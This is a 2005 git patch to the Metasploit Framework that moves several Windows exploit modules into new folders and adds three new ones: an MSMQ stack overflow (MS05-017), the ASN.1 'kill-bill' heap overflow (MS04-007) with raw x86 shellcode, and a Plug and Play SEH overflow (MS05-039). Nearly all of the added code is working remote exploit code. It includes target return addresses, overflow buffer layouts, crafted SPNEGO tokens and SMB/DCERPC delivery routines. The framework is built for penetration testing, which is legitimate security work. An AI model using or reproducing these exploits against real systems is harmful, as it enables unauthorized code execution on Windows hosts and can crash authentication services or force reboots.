From 0902ca69623106668150298c6b8f83814c9063e5 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sat, 26 Nov 2005 02:33:39 +0000 Subject: [PATCH] Reorganization, adding asn1, pnp, and msmq. git-svn-id: file:///home/svn/incoming/trunk@3113 4d416f70-5f16-0410-b530-b9f4589650da --- .../windows/{ => browser}/aim_goaway.rb | 2 +- .../{ => browser}/ms03_020_ie_objecttype.rb | 2 +- .../windows/{ => dcerpc}/ms03_026_dcom.rb | 28 +-- .../exploits/windows/dcerpc/ms05_017_msmq.rb | 125 +++++++++ .../exploits/windows/smb/ms04_007_killbill.rb | 238 ++++++++++++++++++ .../windows/{ => smb}/ms04_011_lsass.rb | 2 +- modules/exploits/windows/smb/ms05_039_pnp.rb | 207 +++++++++++++++ 7 files changed, 581 insertions(+), 23 deletions(-) rename modules/exploits/windows/{ => browser}/aim_goaway.rb (96%) rename modules/exploits/windows/{ => browser}/ms03_020_ie_objecttype.rb (96%) rename modules/exploits/windows/{ => dcerpc}/ms03_026_dcom.rb (93%) create mode 100644 modules/exploits/windows/dcerpc/ms05_017_msmq.rb create mode 100644 modules/exploits/windows/smb/ms04_007_killbill.rb rename modules/exploits/windows/{ => smb}/ms04_011_lsass.rb (99%) create mode 100644 modules/exploits/windows/smb/ms05_039_pnp.rb diff --git a/modules/exploits/windows/aim_goaway.rb b/modules/exploits/windows/browser/aim_goaway.rb similarity index 96% rename from modules/exploits/windows/aim_goaway.rb rename to modules/exploits/windows/browser/aim_goaway.rb index 12ac4f3e22..f3a528733d 100644 --- a/modules/exploits/windows/aim_goaway.rb +++ b/modules/exploits/windows/browser/aim_goaway.rb @@ -2,7 +2,7 @@ require 'msf/core' module Msf -class Exploits::Windows::AimGoaway < Msf::Exploit::Remote +class Exploits::Windows::Browser::AimGoaway < Msf::Exploit::Remote # # This module acts as an HTTP server and exploits an SEH overwrite diff --git a/modules/exploits/windows/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb similarity index 96% rename from modules/exploits/windows/ms03_020_ie_objecttype.rb rename to modules/exploits/windows/browser/ms03_020_ie_objecttype.rb index 2ec653ba25..96b780d9aa 100644 --- a/modules/exploits/windows/ms03_020_ie_objecttype.rb +++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb @@ -2,7 +2,7 @@ require 'msf/core' module Msf -class Exploits::Windows::MS03_020_Ie_ObjectType < Msf::Exploit::Remote +class Exploits::Windows::Browser::MS03_020_Ie_ObjectType < Msf::Exploit::Remote include Exploit::Remote::HttpServer include Exploit::Remote::Egghunter diff --git a/modules/exploits/windows/ms03_026_dcom.rb b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb similarity index 93% rename from modules/exploits/windows/ms03_026_dcom.rb rename to modules/exploits/windows/dcerpc/ms03_026_dcom.rb index 689b582d78..b4731e9086 100644 --- a/modules/exploits/windows/ms03_026_dcom.rb +++ b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb @@ -2,11 +2,8 @@ require 'msf/core' module Msf -class Exploits::Windows::MS03_026_DCOM < Msf::Exploit::Remote +class Exploits::Windows::Dcerpc::MS03_026_DCOM < Msf::Exploit::Remote - # - # This module exploits a vulnerability in a DCERPC service - # include Exploit::Remote::DCERPC def initialize(info = {}) @@ -60,7 +57,8 @@ class Exploits::Windows::MS03_026_DCOM < Msf::Exploit::Remote end def exploit - + connect + print_status("Trying target #{target.name}...") # # Create the gigantic stub used to exploit 7 targets at the same time @@ -159,25 +157,15 @@ class Exploits::Windows::MS03_026_DCOM < Msf::Exploit::Remote stubdata[ 52, 4 ] = [ pathsz ].pack('V') stubdata[ 60, 4 ] = [ pathsz ].pack('V') - - # - # Connect to the remote MSRPC service - # - print_status("Connecting to the target system...") - connect - - # - # Bind to the UUID and call the vulnerable function - # + print_status("Binding to the RemoteActivator interface over DCERPC...") res = self.dcerpc_bind('REMACT') - return if res == nil + return if not res + + print_status("Calling the exploitable function with our stub data...") self.dcerpc_call(0, stubdata) - # - # Perform any required client-side payload handling - # handler - + disconnect end end diff --git a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb new file mode 100644 index 0000000000..6b6a454317 --- /dev/null +++ b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb @@ -0,0 +1,125 @@ +require 'msf/core' + +module Msf + +class Exploits::Windows::Dcerpc::MS05_017_MSMQ < Msf::Exploit::Remote + + include Exploit::Remote::DCERPC + include Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Message Queueing Service MSO5-017', + 'Description' => %q{ + This module exploits a stack overflow in the RPC interface + to the Microsoft Message Queueing service. The offset to the + return address changes based on the length of the system + hostname, so this must be provided via the 'HNAME' option. + Much thanks to snort.org and Jean-Baptiste Marchand's + excellent MSRPC website. + + }, + 'Author' => [ 'hdm' ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'OSVDB', '15458'], + [ 'CVE', '2005-0059'], + [ 'MSB', 'MS05-017'], + [ 'MIL', '41'], + + ], + 'Privileged' => true, + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", + 'StackAdjust' => -3500, + + }, + 'Targets' => + [ + [ + 'Windows 2000 ALL / Windows XP SP0-SP1 (English)', + { + 'Platform' => 'win', + 'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe + }, + ], + ], + 'DisclosureDate' => 'Apr 12 2005', + 'DefaultTarget' => 0)) + + # Change the default port values to point at MSMQ + register_options( + [ + Opt::RPORT(2103), + OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]), + ], self) + end + + def exploit + connect + print_status("Trying target #{target.name}...") + + # MSMQ supports three forms of queue names, the two we can use are + # the IP address and the hostname. If we use the IP address via the + # TCP: format, the offset to the SEH frame will change depending on + # the length of the real hostname. For this reason, we force the user + # to supply us with the actual hostname. + + # Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName + + queue_name = "OS:#{datastore['HNAME']}"; + queue_nlen = queue_name.length * 2 + queue_path = unicode(queue_name + "\\PRIVATE\$\\") + + + buf = Rex::Text.rand_text_englishtext(4000, payload_badchars) + + # Windows 2000 SEH offset goes first + buf[332 + queue_nlen + 0, 4] = [ target['Rets'][0] ].pack('V') + buf[332 + queue_nlen - 4, 2] = "\xeb\x22" + + # Windows XP SEH offset goes second + seh = generate_seh_payload(target['Rets'][1]) + buf[368 + queue_nlen - 4, seh.length] = seh + + + # Append the path to the location and null terminate it + queue_path << buf << "\x00\x00" + + # Get the unicode length of this string + queue_plen = queue_path.length / 2 + + # Stick the RPC stub header on and set the request length + stubdata = [1, 1, 1, 3, 3, 2].pack('VVVVVV') + stubdata << [queue_plen, 0, queue_plen].pack('VVV') + stubdata << queue_path + + # Bind to the MSMQ interface + res = self.dcerpc_bind('MSMQ') + return if not res + + # Call the vulnerable function + res = self.dcerpc_call(0, stubdata) + + # Did we receive an error response? + if (res) + case res.stub_data + when "\x20\x00\x0e\xc0" + print_status("The server rejected our request, the HNAME parameter could be incorrect") + when "\x1e\x00\x0e\xc0" + print_status("The server does not appear to be exploitable") + else + print_status("An unknown response was received from the server:") + print_status(">> " + res.stub_data.unpack("H*")) + end + end + + handler + disconnect + end + +end +end diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb new file mode 100644 index 0000000000..7e6129dac7 --- /dev/null +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -0,0 +1,238 @@ +require 'msf/core' + +module Msf + +class Exploits::Windows::Smb::MS04_007_ASN1_KILLBILL < Msf::Exploit::Remote + + include Exploit::Remote::SMB + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft ASN.1 Library Bitstring Heap Overflow', + 'Description' => %q{ + This is an exploit for a previously undisclosed + vulnerability in the bit string decoding code in the + Microsoft ASN.1 library. This vulnerability is not related + to the bit string vulnerability described in eEye advisory + AD20040210-2. Both vulnerabilities were fixed in the + MS04-007 patch. + + You are only allowed one attempt with this vulnerability. If + the payload fails to execute, the LSASS system service will + crash and the target system will automatically reboot itself + in 60 seconds. If the payload succeeeds, the system will no + longer be able to process authentication requests, denying + all attempts to login through SMB or at the console. A + reboot is required to restore proper functioning of an + exploited system. + + }, + 'Author' => [ 'Solar Eclipse ' ], + 'License' => [ 'gplv2' ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'URL', 'http://www.phreedom.org/solar/exploits/msasn1-bitstring/'], + [ 'MSB', 'MS04-007'], + [ 'CVE', '2003-0818'], + [ 'MIL', '40'], + + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Privileged' => true, + 'Payload' => + { + 'Space' => 1024, + 'StackAdjust' => -3500, + }, + 'Targets' => + [ + [ + 'Windows 2000 SP2-SP4 + Windows XP SP0-SP1', + { + 'Platform' => 'win', + }, + ], + ], + 'DisclosureDate' => 'Feb 10 2004', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('PROTO', [ true, "Which protocol to use: http or smb", 'smb']), + ], self) + end + + # This is a straight port of Solar Eclipse's "kill-bill" exploit, published + # as a Metasploit Framework module with his permission. This module is only + # licensed under GPLv2, keep this in mind if you embed the Framework into + # a non-GPL application. -hdm[at]metasploit.com + + def exploit + + # The first stage shellcode fixes the PEB pointer and cleans the heap + stage0 = "\x53\x56\x57\x66\x81\xec\x80\x00\x89\xe6\xe8\xed\x00\x00\x00\xff"+ + "\x36\x68\x09\x12\xd6\x63\xe8\xf7\x00\x00\x00\x89\x46\x08\xe8\xa2"+ + "\x00\x00\x00\xff\x76\x04\x68\x6b\xd0\x2b\xca\xe8\xe2\x00\x00\x00"+ + "\x89\x46\x0c\xe8\x3f\x00\x00\x00\xff\x76\x04\x68\xfa\x97\x02\x4c"+ + "\xe8\xcd\x00\x00\x00\x31\xdb\x68\x10\x04\x00\x00\x53\xff\xd0\x89"+ + "\xc3\x56\x8b\x76\x10\x89\xc7\xb9\x10\x04\x00\x00\xf3\xa4\x5e\x31"+ + "\xc0\x50\x50\x50\x53\x50\x50\xff\x56\x0c\x8b\x46\x08\x66\x81\xc4"+ + "\x80\x00\x5f\x5e\x5b\xff\xe0\x60\xe8\x23\x00\x00\x00\x8b\x44\x24"+ + "\x0c\x8d\x58\x7c\x83\x43\x3c\x05\x81\x43\x28\x00\x10\x00\x00\x81"+ + "\x63\x28\x00\xf0\xff\xff\x8b\x04\x24\x83\xc4\x14\x50\x31\xc0\xc3"+ + "\x31\xd2\x64\xff\x32\x64\x89\x22\x31\xdb\xb8\x90\x42\x90\x42\x31"+ + "\xc9\xb1\x02\x89\xdf\xf3\xaf\x74\x03\x43\xeb\xf3\x89\x7e\x10\x64"+ + "\x8f\x02\x58\x61\xc3\x60\xbf\x20\xf0\xfd\x7f\x8b\x1f\x8b\x46\x08"+ + "\x89\x07\x8b\x7f\xf8\x81\xc7\x78\x01\x00\x00\x89\xf9\x39\x19\x74"+ + "\x04\x8b\x09\xeb\xf8\x89\xfa\x39\x5a\x04\x74\x05\x8b\x52\x04\xeb"+ + "\xf6\x89\x11\x89\x4a\x04\xc6\x43\xfd\x01\x61\xc3\xa1\x0c\xf0\xfd"+ + "\x7f\x8b\x40\x1c\x8b\x58\x08\x89\x1e\x8b\x00\x8b\x40\x08\x89\x46"+ + "\x04\xc3\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea"+ + "\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x38\x49\x8b\x34\x8b\x01\xee"+ + "\x31\xff\x31\xc0\xfc\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb"+ + "\xf4\x3b\x7c\x24\x24\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b"+ + "\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2"+ + "\x08\x00\xeb\xfe" + + token = spnego_token(stage0, payload.encoded) + + case datastore['PROTO'] + when 'smb' + exploit_smb(token) + when 'http' + exploit_http(token) + else + print_status("Invalid application protocol specified, use smb or http") + end + end + + + def exploit_smb(token) + connect + + client = Rex::Proto::SMB::Client.new(sock) + + begin + client.session_request(name) if not datastore['SMBDirect'] + client.negotiate + client.session_setup_ntlmv2_blob(token) + rescue => e + if (e.to_s =~ /error code 0x00050001/) + print_status("The target system has already been exploited") + else + print_status("Error: #{e.to_s}") + end + end + + handler + disconnect + end + + def exploit_http(token) + connect + + req = "GET / HTTP/1.0\r\n" + req << "Host: #{ datastore['RHOST']}\r\n" + req << "Authorization: Negotiate #{Rex::Text.encode_base64(token, '')}\r\n\r\n" + + sock.put(req) + res = sock.get_once + + if (res and res =~ /0x80090301/) + print_status("This server does not support the Negotiate protocol or has already been exploited") + end + + if (res and res =~ /0x80090304/) + print_status("This server responded with error code 0x80090304 (wth?)") + end + + handler + disconnect + end + + + # Returns an ASN.1 encoded string + def enc_asn1(str) + Rex::Proto::SMB::Utils::asn1encode(str) + end + + # Returns an ASN.1 encoded bit string with 0 unused bits + def enc_bits(str) + "\x03" + enc_asn1("\x00" + str) + end + + # Returns a BER encoded constructed bit string + def enc_constr(*str_arr) + "\x23" + enc_asn1(str_arr.join('')) + end + + # Returns a BER encoded SPNEGO token + def spnego_token(stage0, stage1) + + if (not (stage0 and stage1)) + print_status("Invalid parameters passed to spnego_token") + return + end + + if (stage0.length > 1032) + print_status("The stage 0 shellcode is longer than 1032 bytes") + return + end + + tag = "\x90\x42\x90\x42\x90\x42\x90\x42" + + if ((tag.length + stage1.length) > 1033) + print_status("The stage 1 shellcode is too long") + return + end + + + # The first two overwrites must succeed, so we write to an unused location + # in the PEB block. We don't care about the values, because after this the + # doubly linked list of free blocks is corrupted and we get to the second + # overwrite which is more useful. + + fw = "\xf8\x0f\x01\x00" # 0x00010ff8 + bk = "\xf8\x0f\x01" + + # The second overwrite writes the address of our shellcode into the + # FastPebLockRoutine pointer in the PEB + + peblock = "\x20\xf0\xfd\x7f" # FastPebLockRoutine in PEB + + bitstring = enc_constr( + enc_bits("A" * 1024), + "\x03\x00", + enc_constr( + enc_bits(tag + stage1 + ("B" * (1033-(tag+stage1).length))), + enc_constr( enc_bits(fw + bk) ), + enc_constr( + enc_bits("CCCC" + peblock + stage0 + ("C" * (1032-stage0.length))), + enc_constr( + enc_bits("\xeb\x06" + make_nops(6)), + enc_bits("D" * 1040) + ) + ) + ) + ) + + token = "\x60" + enc_asn1( # Application Constructed Object + "\x06\x06\x2b\x06\x01\x05\x05\x02" + # SPNEGO OID + "\xa0" + enc_asn1( # NegTokenInit (0xa0) + "\x30" + enc_asn1( + "\xa1" + enc_asn1( + bitstring + ) + ) + ) + ) + + return token + end + +end +end diff --git a/modules/exploits/windows/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb similarity index 99% rename from modules/exploits/windows/ms04_011_lsass.rb rename to modules/exploits/windows/smb/ms04_011_lsass.rb index 107332136c..9f87a445b8 100644 --- a/modules/exploits/windows/ms04_011_lsass.rb +++ b/modules/exploits/windows/smb/ms04_011_lsass.rb @@ -2,7 +2,7 @@ require 'msf/core' module Msf -class Exploits::Windows::MS04_011_LSASS < Msf::Exploit::Remote +class Exploits::Windows::Smb::MS04_011_LSASS < Msf::Exploit::Remote # # This module exploits a vulnerability in the LSASS service diff --git a/modules/exploits/windows/smb/ms05_039_pnp.rb b/modules/exploits/windows/smb/ms05_039_pnp.rb new file mode 100644 index 0000000000..35410e503c --- /dev/null +++ b/modules/exploits/windows/smb/ms05_039_pnp.rb @@ -0,0 +1,207 @@ +require 'msf/core' + +module Msf + +class Exploits::Windows::Smb::MS05_039_PNP < Msf::Exploit::Remote + + include Exploit::Remote::DCERPC + include Exploit::Remote::SMB + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft PnP MS05-039 Overflow', + 'Description' => %q{ + This module exploits a stack overflow in the Windows Plug + and Play service. This vulnerability can be exploited on + Windows 2000 without a valid user account. Since the PnP + service runs inside the service.exe process, a failed + exploit attempt will cause the system to automatically + reboot. + + }, + 'Author' => [ 'hdm' ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'OSVDB', '18605'], + [ 'CVE', '2005-1983'], + [ 'BID', '14513'], + [ 'MSB', 'MS05-039'], + [ 'URL', 'http://www.hsc.fr/ressources/presentations/null_sessions/'], + [ 'MIL', '87'], + + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + }, + 'Privileged' => true, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "", + 'Compat' => + { + # -ws2ord XXX? + }, + }, + 'Targets' => + [ + [ + 'Windows 2000 SP0-SP4', + { + 'Platform' => 'win', + 'Ret' => 0x767a38f6, # umpnpmgr.dll + }, + ], + [ + 'Windows 2000 SP4 French', + { + 'Platform' => 'win', + 'Ret' => 0x767438f6, # French target by ExaProbe + }, + ], + [ + 'Windows 2000 SP4 Spanish', + { + 'Platform' => 'win', + 'Ret' => 0x767738f6, # umpnpmgr.dll + }, + ], + [ + 'Windows 2000 SP0-SP4 German', + { + 'Platform' => 'win', + 'Ret' => 0x767338f6, # German target by Michael Thumann + }, + ], + ], + 'DisclosureDate' => 'Aug 9 2005')) + + register_options( + [ + OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']), + ], self) + + end + + def pnp_probe(req) + connect + smb_login + + # CS_DES + # CSD_SignatureLength, CSD_LegacyDataOffset, CSD_LegacyDataSize, CSD_Flags + # GUID and then the dataz + cs_des = [ 0, 0, req.length, 0].pack('VVVV') + rand_data(16) + req + + # + # PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0); + # + + # ResourceName: + # our device name, good enough to pass IsLegalDeviceId and IsRootDeviceID + stubdata = ndr_unicode_conformant_varying_string("a\\b\\c") + + # ResourceID: + # 0xffff - ResType_ClassSpecific + stubdata << ndr_long(0xffff) + + # ResourceData: + # our CS_DES structure + stubdata << ndr_unicode_conformant_array(cs_des) + + # ResourceLen: + stubdata << ndr_long(cs_des.length) + + # OutputLen: + # Need to be atleast 4... + stubdata << ndr_long(4) + + # Flags: + stubdata << ndr_long(0) + + # Open the pipe + fid = smb_create("\\#{datastore['SMBPIPE']}") + + # Bind to the interface + res = smb_dcerpc_bind(fid, 'PNP') + return false if not res + + # Exploit the function + res = smb_dcerpc_call(fid, 0x36, stubdata) + + # Cleanup + handler + disconnect + + # This indicates that the server is not patched when called with an invalid parameter + if (res and res.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00") + return true + end + + return false + end + + def check + if (pnp_probe('A')) + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + # Pad the string up to reach our SEH frame + buf = rand_data(56) + + # Jump over the address and our invalid pointer to the payload + buf << Rex::Arch::X86.jmp_short('$+32') + buf << rand_data(2) + + # The SEH handler pointer + buf << [target.ret].pack('V') + + # Some padding to reach the next pointer + buf << rand_data(20) + + # ResourceName - cause access violation on RtlInitUnicodeString + buf << rand_data(3) + "\xff" + + # Append the encoded payload and we are good to go! + buf << payload.encoded + + pnp_probe(buf) + end + + # Pads out a string to a dword-aligned value + def dword_align(str) + str << rand_data((4 - (str.length & 3)) & 3) + end + + # Generates a random string of bytes + def rand_data(len=0) + Rex::Text.rand_text(len) + end + + # Integer represented in little-endian + def ndr_long(val) + [val].pack('V') + end + + # Character array, length is the actual byte count + def ndr_unicode_conformant_array(str, len=str.length) + res = '' + res << [len].pack('V') + res << str + dword_align(res) + end + + # Character array, length is the actual byte count + terminator + def ndr_unicode_conformant_varying_string(str) + res = '' + res << [str.length+1, 0, str.length+1].pack('VVV') + res << unicode(str + "\x00") + dword_align(res) + end + +end +end